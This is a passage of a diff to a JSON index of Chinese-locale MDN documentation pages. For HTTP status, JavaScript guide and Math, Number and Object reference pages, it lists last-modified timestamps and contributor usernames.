"2019-03-23T22:10:31.298Z", + "Web/JavaScript/Reference/Global_Objects/Math/tan": { + "modified": "2019-08-31T06:01:37.228Z", "contributors": [ - "WayneCui" + "AlexChao" ] }, - "Web/HTTP/Status/412": { - "modified": "2020-10-15T21:53:03.480Z", + "Web/JavaScript/Reference/Global_Objects/Math/tanh": { + "modified": "2020-10-15T21:49:09.190Z", "contributors": [ - "RainSlide", - "WayneCui", - "xgqfrms-GitHub", - "LangDonHJJ" + "Dorence", + "Yunme", + "Gohikin", + "lsvih" ] }, - "Web/HTTP/Status/413": { - "modified": "2019-03-23T22:10:34.207Z", + "Web/JavaScript/Reference/Global_Objects/Math/trunc": { + "modified": "2020-10-15T21:25:16.193Z", "contributors": [ - "liaozhaonan", - "WayneCui" + "zxsunrise", + "Ende93", + "ziyunfei", + "tiansh", + "teoli" ] }, - "Web/HTTP/Status/414": { - "modified": "2019-03-23T22:10:20.896Z", + "Web/JavaScript/Reference/Global_Objects/NaN": { + "modified": "2020-10-15T21:21:08.233Z", "contributors": [ - "liaozhaonan", - "jokechat", - "WayneCui" + "wallena3", + "HuangXin", + "caofei6", + "zxsunrise", + "EthanOrange", + "Jiang-Xuan", + "Ende93", + "yenshen", + "SphinxKnight", + "ziyunfei", + "AlexChao", + "teoli", + "zhangyaochun1987" ] }, - "Web/HTTP/Status/415": { - "modified": "2019-03-23T22:10:21.961Z", + "Web/JavaScript/Reference/Global_Objects/Number": { + "modified": "2020-10-15T21:21:06.513Z", "contributors": [ - "WayneCui" + "SageX", + "Mookiepiece", + "huxinsen", + "hhxxhg", + "shevche24", + "re09", + "righttoe", + "yurielZhang", + "liudeyuan", + "liuzeyafzy", + "Ende93", + "teoli", + "xuxiaodong", + "ethertank" ] }, - "Web/HTTP/Status/416": { - "modified": "2020-10-15T21:54:41.290Z", + "Web/JavaScript/Reference/Global_Objects/Number/EPSILON": { + "modified": "2019-10-14T12:34:30.960Z", "contributors": [ - "liaozhaonan", - "WayneCui" + "SageX", + "Fire1nRain", + "Liugq5713", + "AlexChao", + "jokeviner" ] }, - "Web/HTTP/Status/417": { - "modified": "2019-03-23T22:11:26.822Z", + "Web/JavaScript/Reference/Global_Objects/Number/MAX_SAFE_INTEGER": { + "modified": "2019-11-10T23:49:14.665Z", "contributors": [ - "WayneCui" + "zotille", + "AlexChao", + "jokeviner" ] }, - "Web/HTTP/Status/418": { - "modified": "2020-10-15T22:03:59.306Z", + "Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE": { + "modified": "2019-03-18T20:54:24.017Z", "contributors": [ - "iSakuraNyan", - "dzamlo", - "ujsxn", - "youngseaz" + "dsgygb", + "AlexChao" ] }, - "Web/HTTP/Status/422": { - "modified": "2019-10-08T22:59:23.853Z", + "Web/JavaScript/Reference/Global_Objects/Number/MIN_SAFE_INTEGER": { + "modified": "2020-10-15T21:48:36.767Z", "contributors": [ - "fuxingZhang", "SphinxKnight", - "uniforest", - "ihgazni2" + "User670", + "suxiesumiao" ] }, - "Web/HTTP/Status/425": { - "modified": "2020-10-15T22:09:53.408Z", + "Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE": { + "modified": "2019-03-23T23:13:08.431Z", "contributors": [ - "liaozhaonan", - "ibard" + "AlexChao" ] }, - "Web/HTTP/Status/426": { - "modified": "2019-03-23T22:10:22.184Z", + "Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY": { + "modified": "2019-03-23T23:13:05.395Z", + "contributors": [ + "AlexChao" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Number/NaN": { + "modified": "2019-04-06T03:20:31.087Z", "contributors": [ - "WayneCui" + "AlexChao", + "teoli", + "zhangyaochun1987" ] }, - "Web/HTTP/Status/428": { - "modified": "2019-03-23T22:11:11.819Z", + "Web/JavaScript/Reference/Global_Objects/Number/Number": { + "modified": "2020-10-15T22:32:37.356Z", "contributors": [ - "WayneCui" + "爬上神坛的猫" ] }, - "Web/HTTP/Status/429": { - "modified": "2019-03-23T22:11:18.935Z", + "Web/JavaScript/Reference/Global_Objects/Number/POSITIVE_INFINITY": { + "modified": "2019-03-23T23:12:58.979Z", "contributors": [ - "WayneCui" + "helinjiang", + "AlexChao" ] }, - "Web/HTTP/Status/431": { - "modified": "2019-03-23T22:10:21.832Z", + "Web/JavaScript/Reference/Global_Objects/Number/isFinite": { + "modified": "2020-10-15T21:24:17.461Z", "contributors": [ - "WayneCui" + "zhangchen", + "AlexChao", + "teoli", + "ziyunfei", + "zhangyaochun1987" ] }, - "Web/HTTP/Status/451": { - "modified": "2020-10-15T21:55:07.508Z", + "Web/JavaScript/Reference/Global_Objects/Number/isInteger": { + "modified": "2020-10-15T21:24:18.300Z", "contributors": [ - "WayneCui" + "yanhaijing1234", + "daihaoxin", + "oldmtn", + "Ende93", + "teoli", + "ziyunfei", + "tiansh", + "zhangyaochun1987" ] }, - "Web/HTTP/Status/500": { - "modified": "2020-10-15T21:55:08.324Z", + "Web/JavaScript/Reference/Global_Objects/Number/isNaN": { + "modified": "2020-10-15T21:19:55.509Z", "contributors": [ - "danmurch77", - "sideshowbarker", - "lesikolerina23", - "davywsr", - "slivenred", "RainSlide", - "WayneCui", - "ziyunfei", - "aosan002" + "polunzh", + "daihaoxin", + "xgqfrms-GitHub", + "AlexChao", + "yenshen", + "teoli", + "yufeng", + "ziyunfei" ] }, - "Web/HTTP/Status/501": { - "modified": "2020-10-15T21:52:25.911Z", + "Web/JavaScript/Reference/Global_Objects/Number/isSafeInteger": { + "modified": "2020-10-15T21:27:54.542Z", "contributors": [ - "WayneCui", - "fscholz", - "hxl" + "yanhaijing1234", + "hellorayza", + "AlexChao", + "ziyunfei" ] }, - "Web/HTTP/Status/502": { - "modified": "2020-10-15T21:55:11.141Z", + "Web/JavaScript/Reference/Global_Objects/Number/parseFloat": { + "modified": "2019-11-08T10:17:37.826Z", "contributors": [ - "davywsr", - "iSakuraNyan", - "slivenred", - "wangtongchao", - "WayneCui" + "hellorayza", + "Youzi", + "SphinxKnight", + "AlexChao", + "saintwinkle" ] }, - "Web/HTTP/Status/503": { - "modified": "2020-10-15T21:55:07.373Z", + "Web/JavaScript/Reference/Global_Objects/Number/parseInt": { + "modified": "2020-10-15T21:32:59.587Z", "contributors": [ - "davywsr", - "slivenred", - "WayneCui" + "hellorayza", + "SageX", + "edward870505", + "NiLinli", + "iugo", + "ziyunfei", + "tiansh" ] }, - "Web/HTTP/Status/504": { - "modified": "2020-10-15T21:55:08.765Z", + "Web/JavaScript/Reference/Global_Objects/Number/toExponential": { + "modified": "2019-04-06T03:30:46.772Z", "contributors": [ - "davywsr", - "slivenred", - "WayneCui" + "zhazhjie", + "yunl819", + "helloguangxue", + "AlexChao" ] }, - "Web/HTTP/Status/505": { - "modified": "2019-03-23T22:10:20.789Z", + "Web/JavaScript/Reference/Global_Objects/Number/toFixed": { + "modified": "2020-10-15T21:28:32.902Z", "contributors": [ - "WayneCui" + "zeroxie", + "liuruiqi1993", + "Xiaoming666", + "rulanfenghua", + "PageYe", + "yenshen", + "Jinjiang", + "AlexChao" ] }, - "Web/HTTP/Status/506": { - "modified": "2020-01-19T03:41:58.311Z", + "Web/JavaScript/Reference/Global_Objects/Number/toLocaleString": { + "modified": "2020-10-15T21:28:46.243Z", "contributors": [ - "radarfyh" + "RoXoM", + "dongchaoge", + "Sivan", + "Hugh", + "anchengjian", + "shuding", + "AlexChao" ] }, - "Web/HTTP/Status/507": { - "modified": "2020-01-19T03:58:16.574Z", + "Web/JavaScript/Reference/Global_Objects/Number/toPrecision": { + "modified": "2019-09-09T23:08:23.767Z", "contributors": [ - "radarfyh" + "helloguangxue", + "AlexChao" ] }, - "Web/HTTP/Status/508": { - "modified": "2020-01-19T04:02:35.671Z", + "Web/JavaScript/Reference/Global_Objects/Number/toSource": { + "modified": "2019-04-06T03:53:43.075Z", "contributors": [ - "radarfyh" + "AlexChao" ] }, - "Web/HTTP/Status/510": { - "modified": "2020-01-19T04:08:53.633Z", + "Web/JavaScript/Reference/Global_Objects/Number/toString": { + "modified": "2019-07-09T06:38:38.264Z", "contributors": [ - "radarfyh" + "LeoSpark", + "ywjco", + "xgqfrms-GitHub", + "righttoe", + "YoungChen", + "yenshen", + "AlexChao", + "teoli", + "ziyunfei" ] }, - "Web/HTTP/Status/511": { - "modified": "2019-03-23T22:10:19.671Z", + "Web/JavaScript/Reference/Global_Objects/Number/valueOf": { + "modified": "2019-04-06T04:03:18.487Z", "contributors": [ - "WayneCui" + "weiqinl", + "ziyunfei", + "yenshen", + "AlexChao" ] }, - "Web/HTTP/X-Frame-Options": { - "modified": "2020-10-15T21:31:36.643Z", + "Web/JavaScript/Reference/Global_Objects/Object": { + "modified": "2020-10-15T21:07:58.316Z", "contributors": [ + "VictoriaChou", + "oldguan", + "oxyg3n", + "sunshine8752", + "yzh196", + "CelestialPhineas", "RainSlide", - "Soyaine", - "Fiag" + "zhangchen", + "lee-joe", + "xgqfrms-GitHub", + "kangaoxiaoshi", + "Hugh", + "tomoat", + "hxlhxl", + "Ende93", + "scscms", + "charlie", + "ziyunfei", + "paddingme", + "AlexChao", + "teoli", + "iwo" ] }, - "Web/HTTP/data_URIs": { - "modified": "2020-10-15T21:06:54.948Z", + "Web/JavaScript/Reference/Global_Objects/Object/GetPrototypeOf": { + "modified": "2020-10-15T21:07:55.199Z", "contributors": [ - "leegent", - "2585479524", - "BobGreen", - "bramblex", - "tlos142857", - "Ende93", + "futurefeeling", + "ywjco", + "zhangchen", "xgqfrms-GitHub", - "little-tomorrow", + "teoli", + "AlexChao", + "paddingme", "ziyunfei" ] }, - "Web/HTTP/策略特征": { - "modified": "2020-10-15T22:13:12.541Z", + "Web/JavaScript/Reference/Global_Objects/Object/Object": { + "modified": "2020-10-15T22:29:02.706Z", "contributors": [ - "xiaomaokeke", - "chenqingyue", - "RainSlide", - "joechan" + "jiyiwohanxing" ] }, - "Web/HTTP/策略特征/Using_Feature_Policy": { - "modified": "2019-05-06T05:13:36.251Z", + "Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__": { + "modified": "2019-03-23T23:05:45.020Z", "contributors": [ - "roostinghawk" + "ziyunfei", + "LinusYu" ] }, - "Web/HTTP/跨域资源共享(CORS)_": { - "modified": "2020-10-15T22:28:24.198Z", + "Web/JavaScript/Reference/Global_Objects/Object/__defineSetter__": { + "modified": "2019-03-23T23:05:56.544Z", "contributors": [ - "huangjihua" + "ziyunfei", + "LinusYu" ] }, - "Web/Houdini": { - "modified": "2020-11-21T05:08:58.458Z", + "Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__": { + "modified": "2019-03-23T23:14:35.158Z", "contributors": [ - "xusy", - "bingoYB", - "cutefcc", - "sunfeel", - "xgqfrms" + "MurphyL", + "ziyunfei", + "lutaoact" ] }, - "Web/JavaScript": { - "modified": "2020-09-21T00:46:20.876Z", + "Web/JavaScript/Reference/Global_Objects/Object/__lookupSetter__": { + "modified": "2019-03-23T22:21:56.129Z", "contributors": [ - "mkckr0", - "sengang", - "SeaAster", - "liunanchenFYJJ", - "SphinxKnight", - "iworkerweb", - "lifankohome", - "huhufufu", - "marslord", - "leo_yang", - "zhao_nanli", - "limingqian", - "xunyegege", - "price", - "konantian", - "xclhs", - "qazsweet", - "Frederick-S", - "fenyu", - "ZengYu", - "toyflivver", - "yonbo", - "ThomasWhyne", - "pluwen", - "loveagri", - "edwards1101", - "ngtmuzi", - "wemamawe", - "danmin25", - "ghb609840612", - "zxsunrise", - "wangwenhao", - "WinnerNew", - "yokiyang", - "XuQuan-nikkkki", - "Jonham", - "ElliottZheng", - "towerman1990", - "qdlaoyao", - "yong_a", - "sqchenxiyuan", - "ZhangQiRong", - "lixw1994", - "qyjs", - "zhangchen", - "baooab", - "Mr-Li-admin", - "shaodahong", - "marsoln", - "Cnmahj", - "lemonsWen", - "lppking", - "viko16", - "leafdog", - "Ende93", - "VdoG", - "xiaokk06", - "xgqfrms", - "Rusion-Wayne", - "xiaoyusilen", - "Moressette", - "simongfxu", - "eforegist", - "nperhb", - "wth", - "WentaoMa", - "Roland_Reed", - "leonine", - "stdupp", - "lunix01", - "sammuelyee", - "MMOnster", - "redman9", - "wangsai", - "flyingdew", - "Yaty", - "yenshen", - "apollo", - "azzndmy", - "yiding_he", - "Brainor", - "ReyCG_sub", - "teoli", - "7anshuai", - "xcffl", - "ziyunfei", - "Asvel", - "sonzero@163.com", - "xiaoxiong", - "iwo", - "lins05" + "winjeysong", + "lisniuse" ] }, - "Web/JavaScript/A_re-introduction_to_JavaScript": { - "modified": "2020-12-11T11:33:32.340Z", + "Web/JavaScript/Reference/Global_Objects/Object/assign": { + "modified": "2020-10-21T06:50:11.039Z", "contributors": [ - "柳涤尘", + "srq18211", + "xgqfrms", + "sjnho", "SphinxKnight", - "BruceHong666", - "koo4", - "hechenxi", - "hufeicom", - "eMUQI", - "houfengqaz", - "licia-tia", - "necokeine", - "Pro-A", - "TianLangStudio", - "Frederick-S", - "123Jonne", - "fenglui", - "RainSlide", - "zhaoke2018", - "coldfog", - "edenpan", - "kanaza", - "LeoB-O", - "panle666", - "SAM.L", - "YRFT", - "Park-ma", - "LuoYun", - "mysmlz", - "OldisNewXrf", - "Jiasm", - "HoldDie", - "byoungd", - "TheLostXianXian", - "RockJerffreason", - "JayceZhang9602", - "funnyChinese", - "liubiantao", - "suxiesumiao", - "Jack-Q", - "w-halo", - "marsoln", - "Poisonloc", - "ngtmuzi", - "pramper", - "wangbin2015", + "YF05105814", + "zac_ma", + "shery", + "shutong", + "HJava", + "Jiang-Xuan", + "zhangchen", + "xgqfrms-GitHub", + "micheal-death", + "kiyonlin", + "Wayme", + "glgjssy", "Ende93", - "machao", - "Tienyz", - "susutou", - "xlyimi", + "Y____C", + "zhangking", + "calmcarry", + "iamchenxin", "ziyunfei", - "arniu", - "Breezewish", - "ticketock", - "teoli", - "xuxun", - "Joe_Zhao", - "xcffl", - "ethertank", - "Mgjbot", - "Physacco", - "Carrie zhxj", - "Laser" + "rebornix" ] }, - "Web/JavaScript/About_JavaScript": { - "modified": "2020-03-12T19:36:16.731Z", + "Web/JavaScript/Reference/Global_Objects/Object/constructor": { + "modified": "2020-10-15T21:22:02.873Z", "contributors": [ - "Poisonloc", - "ziyunfei", - "Breezewish", - "gelin", + "Lan1967", + "zhangchen", + "icyzeroice", + "luoxzhg", + "Hugh", "teoli", - "Meteormatt", - "ethertank", - "undercooled" + "AlexChao", + "ziyunfei" ] }, - "Web/JavaScript/Closures": { - "modified": "2020-10-14T01:19:42.853Z", + "Web/JavaScript/Reference/Global_Objects/Object/create": { + "modified": "2020-11-17T22:40:03.747Z", "contributors": [ - "Neo42", - "sunan112", - "xuqian", - "xvusrmqj", - "Lazy_Bone", - "mkckr0", - "fish-inu", - "Nonym", - "kingsley2036", - "watsonhaw", - "LuoYun", - "maoyumaoxun", - "HongjinLI", - "dreampasssser", - "foshhh", - "Akiq2016", - "szengtal", - "zhang-hongwei", - "helloli", - "xgqfrms-GitHub", - "ziyunfei", "zhuangyin", - "springfish", - "ZZES_REN", - "righttoe", - "hiyoushu", - "KngZhi", - "eeeeeeeason", - "HeSijie", - "calidion", - "mr.code", - "lihx_hit", - "_da", - "xgqfrms", - "wth", - "Jack-Q", - "distums", - "Poisonloc", - "mysticzap", - "vino24", - "putdownTheCode", - "yang.rc", - "maybe", - "fskuok", - "devyps", - "Breezewish", - "phoenix.huang", - "kangkai92", + "kaiyuan-c", + "yukyao", + "Aster.", + "symant233", + "zhanghao-zhoushan", + "Ahhaha233", + "name-dingding", + "Lan1967", + "wangzherlf", + "LuckyJoker", + "zhangchen", + "evan_Yuanzh", + "luoxzhg", + "ywjco", + "cuji", + "Tuoe", + "foreverwang", + "HuazzTsai", + "Cribug8080", + "Ende93", + "xgqfrms-GitHub", + "runighcat", + "ouonet", + "Hopcraft", + "luojia", + "AlexChao", "teoli", - "hui314", - "rogersuen" + "ziyunfei", + "Chajn", + "georgewing", + "nightire", + "bingjie2680", + "fscholz", + "raymoth", + "Mgjbot", + "Kaixin110", + "Cnmahj", + "Mhoudg", + "Andyyard", + "Carrie zhxj", + "Mickeyboy", + "Verruckt", + "Taken", + "Ahong" ] }, - "Web/JavaScript/Data_structures": { - "modified": "2020-06-05T03:23:50.915Z", + "Web/JavaScript/Reference/Global_Objects/Object/defineProperties": { + "modified": "2020-12-13T23:47:19.929Z", "contributors": [ - "zangbianxuegu", - "wallena3", - "Logan-Li", - "xuanji", - "huxinsen", - "molee1905", - "WangLeto", - "wemamawe", - "ywjco", - "ShirleyM", - "wblovezqy", - "eyasliu", - "issliu", - "hangyangws", - "Musan", - "Ende93", - "eric183", - "Jacobwang", - "knightf", - "JsonMe", - "asdzxcqwe", - "holsety", - "Breezewish", - "ElsaHuang", - "7anshuai", + "YawnS0", + "zhangchen", + "xgqfrms-GitHub", + "microTT", + "ziyunfei", + "AlexChao", "teoli", - "keechi", - "polucy", - "_WhiteCusp" + "OoOoOoOo", + "leeli" ] }, - "Web/JavaScript/Enumerability_and_ownership_of_properties": { - "modified": "2020-08-31T07:44:40.404Z", + "Web/JavaScript/Reference/Global_Objects/Object/defineProperty": { + "modified": "2020-12-03T03:27:16.867Z", "contributors": [ - "unbyte", + "daniel_tsai", + "liushuaimaya", + "symant233", + "lijinwenhg", "RainSlide", + "sunw", + "mingzhang6", + "liuliuLiu161", + "walwimp", "leavesster", - "Ende93", - "walfud", - "funroller", - "monjer", - "Gaohaoyang", - "xiefei89", - "Jack-Q", + "onedaywen", + "junyuli1992", + "Xmader", + "zhanghy7", + "Josnk", + "lmislm", + "weidapao", + "CaptainInPHW", + "zotille", + "LeoSpark", + "i850", + "Mrdapeng", + "yuyongjun123", + "buptsky", + "ywjco", + "Wutang", + "Black-Hole", + "zhangchen", + "xiiiAtCn", + "C_Kite", + "MrITzhongzi", + "usernameisMan", + "zilong", "ziyunfei", - "yenshen" - ] - }, - "Web/JavaScript/Equality_comparisons_and_sameness": { - "modified": "2020-10-17T07:01:49.622Z", - "contributors": [ - "jaredhan418", - "zjffun", - "RenzHoly", - "gongzhibin", - "xiayao", - "esphas", - "dy21335", - "Charlotte007", - "fun3c", + "dttx123", + "win5do", "Ende93", + "righttoe", + "hicrow", "xgqfrms-GitHub", - "vincenting", - "Roland_Reed", - "Jack-Q", - "ngtmuzi", - "i-PeterZhang", - "xufeng", - "ziyunfei", - "fskuok", - "tiansh", - "faceach", - "ilia" + "maxmeng", + "whwei", + "xuemengfei", + "riversYeHaha", + "harttle", + "coolguy", + "KingMario", + "helinjiang", + "Lenville", + "teoli", + "TimothyZhang", + "AlexChao", + "aaron4512", + "jiraiya", + "yanhaijing", + "StuPig", + "OoOoOoOo" ] }, - "Web/JavaScript/EventLoop": { - "modified": "2020-08-12T23:49:07.122Z", + "Web/JavaScript/Reference/Global_Objects/Object/entries": { + "modified": "2020-10-15T21:47:29.698Z", "contributors": [ - "JobbyM", - "johnao", - "penglianglee", - "molee1905", - "sundi78634", - "xgl", - "SterileSummer", - "esphas", - "daxiazilong", + "symant233", + "versionlin7", "zhangchen", - "Thoxvi", - "zhuangyin", - "LeoSpark", - "mozhs", + "spiritree", "xgqfrms-GitHub", - "LiXin", - "xycd", - "hxyoo1990", - "guoqiang", - "fengma", - "Ende93", - "xiaojichao", - "liyongleihf2006", - "slayerxj", - "timwangdev", - "distums", - "xufeng", - "ziyunfei", - "jcouyang", - "shinv", - "lcxfs1991", - "HectorGuo", - "Fantasy_shao" + "OshotOkill" ] }, - "Web/JavaScript/Getting_Started": { - "modified": "2019-03-23T23:35:23.323Z", + "Web/JavaScript/Reference/Global_Objects/Object/freeze": { + "modified": "2020-10-15T21:04:51.609Z", "contributors": [ - "xCss", - "KMethod", - "lifeng", - "maslak", - "Eridanus_Sora", - "ywang1724", - "reygreen1", + "Frederick-S", + "lejsure", + "mingttong", + "zhangchen", + "ywjco", + "sqliang", + "zhouyuanhao", + "Ende93", + "AlexChao", "teoli", - "Lyper", - "Simontechwriter" + "ziyunfei", + "undercooled" ] }, - "Web/JavaScript/Guide": { - "modified": "2020-04-10T23:43:33.112Z", + "Web/JavaScript/Reference/Global_Objects/Object/fromEntries": { + "modified": "2020-10-15T22:09:07.388Z", "contributors": [ - "lyno", - "RainSlide", - "Soy", - "Wenfang_Du", - "mumu-one", - "xuziang111", - "miffy24", - "shannonZhong", - "bowen-wu", - "Pomelo1213", - "Jamamm", - "xiaozhi1", - "bibi941", - "zhumengyua", - "XINHE", - "frankfang1990", "zhangchen", - "santong", - "Grizzly-Eric", - "WavinFlag", - "Moressette", - "nperhb", - "yenshen", - "ngtmuzi", - "taccelerate", - "456wyc", - "lunix01", - "kacoro", - "ssbunny", - "wsxyeah", - "teoli", - "ziyunfei", - "rogersuen" + "qiudongwei", + "iugo", + "xiaopingzhang0207", + "kohai", + "Bayes" ] }, - "Web/JavaScript/Guide/About": { - "modified": "2019-03-23T23:36:14.591Z", + "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor": { + "modified": "2020-10-15T21:04:53.010Z", "contributors": [ - "wbamberg", - "Breezewish", - "ReyCG_sub", - "ReyCG", + "Damoness", + "274659281", + "RoXoM", + "liuyangjoker", + "usernameisMan", + "Ende93", "teoli", - "LieGroup", - "rogersuen" + "AlexChao", + "ArthasTree", + "ziyunfei", + "nightire" ] }, - "Web/JavaScript/Guide/Control_flow_and_error_handling": { - "modified": "2020-03-12T19:37:58.561Z", + "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors": { + "modified": "2020-10-15T21:47:29.156Z", "contributors": [ - "ChenZhuoSteve", - "xclhs", - "fanqw", - "zhangchen", - "Hitomichan", - "sqchenxiyuan", - "123456zzz", - "zsxeee", - "xgqfrms-GitHub", - "cdz", - "lwxyfer", - "hpcherry", - "funnyChinese", - "ticketock", - "anbang", - "xdsnet", - "codetaro", - "think3t", - "Moressette", - "eforegist", - "boredivan", - "kavon", - "victor0801x", - "eating_miao", - "tangolivesky", - "zouyonghao", - "GodEngine", - "binhex", - "lushunming", - "MurphyL", - "zhaozhb", - "DeepDarkSpirit", - "kictpov", - "wenxiangmao", - "gabrielwu", - "tao0923", - "wolfFN", - "wangxb", - "ziyunfei", - "tonypupp", - "Shimo", - "teoli" + "Aaron-Bird", + "RoXoM", + "kdex", + "Hushabyme", + "delkaka", + "ziyunfei" ] }, - "Web/JavaScript/Guide/Details_of_the_Object_Model": { - "modified": "2020-07-21T04:10:47.398Z", + "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyNames": { + "modified": "2020-10-15T21:04:50.666Z", "contributors": [ - "suvyme", - "johnao", - "tzmf", - "zjffun", - "wbamberg", - "AlphaGo88", - "ThomasWhyne", - "yokiyang", + "woyaohaohaoxuexi", + "ywjco", "zhangchen", - "MiRinZhang", + "C_Kite", + "kdex", "Ende93", - "michelia", - "ywang1724", - "ReyCG", + "RandyOu", + "ChrisCindy", + "helinjiang", "teoli", - "key", + "AlexChao", "ziyunfei", - "zsytssk", - "rogersuen" + "Arenwisdom" ] }, - "Web/JavaScript/Guide/Expressions_and_Operators": { - "modified": "2020-12-12T02:19:33.855Z", + "Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertySymbols": { + "modified": "2020-10-15T21:28:24.757Z", "contributors": [ - "柳涤尘", - "aq1121", - "Ende93", - "bifan", - "ZhQb", - "maoyumaoxun", - "LuoYun", - "yuansuye", - "syhxczy", "zhangchen", - "bozh", - "lociver", - "vividlai", - "vincenting", - "choury", - "wenmin92", - "_da", - "zhaoge26", - "chenpeiguang", - "codetaro", - "Gohikin", - "sgr", - "bigzhao", - "imDemo", - "klutzCoder", - "cinside", - "chuanyidai", - "eddy8", - "kavon", - "victor0801x", - "ngtmuzi", - "xoyoz", - "RachelChen", - "zenzzy", - "wumouse", - "Toweave", - "wenxiangmao", - "mpchina", - "z_p_p", - "997404959", - "Frantic1048", - "teoli", - "LieGroup", - "sevens", - "john_li", - "carl_zhu", + "limichange", + "AlexChao", "ziyunfei" ] }, - "Web/JavaScript/Guide/Functions": { - "modified": "2020-09-16T04:44:03.700Z", + "Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty": { + "modified": "2020-11-12T05:23:35.945Z", "contributors": [ - "springwq", - "johnao", - "YooHoeh", - "narutojian", - "chrisdavidmills", - "yulongjing", - "white-more", - "Jzhuonan", - "vainl", - "putongxiaozhu", - "yuansuye", - "Phoenix13", - "SphinxKnight", - "NotDead-NotPerish", + "haichao0817", + "Harry-Zhao", + "RainSlide", + "liuzhengdong", + "ShirleyM", + "xgqfrms-GitHub", + "Ende93", + "ziyunfei", + "yyj" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/is": { + "modified": "2020-10-15T21:22:02.169Z", + "contributors": [ + "jaredhan418", + "Mirefire", + "ngulee", + "RainSlide", + "42", "zhangchen", - "ian.zhang", + "shaojingchao", "xgqfrms-GitHub", - "wenmin92", - "codetaro", - "appie963", - "caicaicai", - "Darkoe", - "victor0801x", - "helloguangxue", - "tangolivesky", - "wumouse", "Ende93", - "SamuraiMe", - "duckisaac", "ziyunfei", - "Cjavaer", - "snowsolf", - "lvjs", - "smartkid", + "snandy", "teoli", - "sunorry", - "iwo" + "zhangyaochun1987" ] }, - "Web/JavaScript/Guide/Grammar_and_types": { - "modified": "2020-10-01T04:36:59.031Z", + "Web/JavaScript/Reference/Global_Objects/Object/isExtensible": { + "modified": "2019-03-24T12:06:06.825Z", "contributors": [ - "dva2019ksy", - "junhaoim", - "SirnoChan", - "Meow-z", - "catlair", - "WoodCube", - "lorry0508", - "ronesam", - "inlym", - "AlphaGo88", - "strandjun", - "hgbj0001", - "vainl", - "goodqd", - "yuansuye", - "zxsunrise", - "hiyoushu", - "zhumengyua", - "runyul", - "shelleyIstar", - "superkuang", - "BlasphemerAzog", - "Timer", - "tjyas", + "fanerge", + "helinjiang", + "AlexChao", + "teoli", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/isFrozen": { + "modified": "2020-10-15T21:04:51.362Z", + "contributors": [ + "XiongAmao", + "zhangchen", + "xgqfrms-GitHub", + "micheal-death", + "WangXiao", + "helinjiang", + "AlexChao", + "teoli", + "ziyunfei", + "undercooled" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/isPrototypeOf": { + "modified": "2019-07-25T07:55:33.320Z", + "contributors": [ + "xhlsrj", "xgqfrms-GitHub", - "zxsky1", - "cdz", - "Taisetsuz", - "Arthur.CHANG", - "Seattle", - "faremax", - "fengma", - "xdsnet", - "codetaro", - "VdoG", - "tylerxue", "Ende93", - "zurl", - "Moressette", - "dsb123dsb", - "kangkai0124", - "koalaxiaot", - "eforegist", - "GoForWill", - "m4jing", - "gknpezgssb", - "evolighting", - "TruthBean", - "kavon", - "victor0801x", - "PoppinL", - "louwuxin", - "xioZquan", - "zhaozhb", - "zouyonghao", - "ziyunfei", - "amIurs", - "gabrielwu", - "kacoro", - "tiansh", - "ReyCG_sub", + "helloguangxue", "teoli", - "LieGroup", - "evantre", - "iwo" + "AlexChao", + "ziyunfei" ] }, - "Web/JavaScript/Guide/Indexed_collections": { - "modified": "2020-06-29T06:11:51.519Z", + "Web/JavaScript/Reference/Global_Objects/Object/isSealed": { + "modified": "2020-10-15T21:04:48.021Z", "contributors": [ - "MaZheng", - "amzrk2", - "keys", - "ruoxianbaby", - "aimishan", - "BUnnY25", - "LeoSpark", - "hpcherry", - "niccoming", - "xdsnet", - "kiyonlin", - "codetaro", - "caoruiy", - "suxiesumiao", - "victor0801x", - "zhulinpinyu", - "456wyc", - "gaigeshen", - "VincentLiu0314" + "yuyeqianxun", + "zhangchen", + "xgqfrms-GitHub", + "Ende93", + "helinjiang", + "AlexChao", + "teoli", + "ziyunfei", + "undercooled" ] }, - "Web/JavaScript/Guide/Introduction": { - "modified": "2020-07-30T09:11:33.207Z", + "Web/JavaScript/Reference/Global_Objects/Object/keys": { + "modified": "2020-10-15T21:06:49.993Z", "contributors": [ - "Kirin", - "RainSlide", - "agulleung", - "inlym", - "daxiazilong", - "a358003542", - "ElliottZheng", - "runyul", - "123456zzz", - "wushengde", + "fbfatboy", + "Cuixote", + "liuzhengdong", + "SphinxKnight", + "Vike50", "zhuangyin", - "lsbrucelincoln", - "seaHeater", - "_da", - "xdsnet", - "VdoG", - "xiaoyusilen", - "eforegist", - "Mosan", - "Joilence", - "LeoMobileDeveloper", - "m4jing", - "dunizb", - "solome", - "zhanglei1995", - "zhe13", - "Rambone", + "dc165015", + "zhangchen", + "ywjco", + "xgqfrms-GitHub", "Ende93", - "majunbao", - "MurphyL", - "zouyonghao", - "zhengshi", - "fissh", - "pixiu", - "ssbunny", - "PhenixGhost", - "MrH2S", - "HopeCoder", + "Lynn0108", + "kdex", + "micheal-death", + "zaxlct", + "WhiteMind", + "qdxt", + "teoli", + "AlexChao", + "ziyunfei" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Object/preventExtensions": { + "modified": "2020-10-15T21:04:47.741Z", + "contributors": [ + "Astroleander", + "zhangchen", + "recursion", + "AlexChao", + "teoli", "ziyunfei", - "hackerZhang" + "undercooled" ] }, - "Web/JavaScript/Guide/Iterators_and_Generators": { - "modified": "2020-04-19T03:41:05.778Z", + "Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable": { + "modified": "2020-10-15T21:21:12.490Z", "contributors": [ - "Russell", - "johnao", - "NieLamu", - "SageX", - "Yayure", - "ErChuan", "RainSlide", - "jupiterben", - "xgqfrms", - "Wuqichao", - "BingerWeb", - "yueshuiniao", - "zhangjiawei0", "zhangchen", - "azoth1991", - "ezirmusitua", + "TiaossuP", + "helloguangxue", + "Gresic", + "teoli", + 